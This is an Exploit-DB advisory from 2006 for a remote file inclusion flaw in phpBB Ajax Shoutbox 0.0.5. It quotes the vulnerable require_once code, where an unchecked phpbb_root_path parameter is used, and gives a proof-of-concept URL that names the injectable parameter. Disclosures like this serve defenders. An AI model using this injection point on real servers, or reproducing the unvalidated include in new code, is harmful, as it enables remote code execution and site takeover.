phpBB Ajax Shoutbox 0.0.5 - Remote File Inclusion

EDB-ID:

2532

Author:

boecke

Type:

webapps

Platform:

PHP

Published:

2006-10-12

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# *
# * Title: phpBB Ajax Shoutbox <= 0.0.5 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Ajax Shoutbox <= 0.0.5
# * Release Source: http://usuarios.lycos.es/kinfule/download.php?id=16
# * Release Page @ phpBB.com : http://www.phpbb.com/phpBB/viewtopic.php?t=389032
# *
# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
# *
#

[ Vulnerable Code: ]
$phpbb_root_path = ( !@$phpbb_root_path ) ? './' : $phpbb_root_path;
require_once($phpbb_root_path . 'extension.inc');
require_once($phpbb_root_path . 'common.'.$phpEx);

[ Proof on Concept: ]
http://localhost/phpBB2/shoutbox.php?phpbb_root_path=

# milw0rm.com [2006-10-12]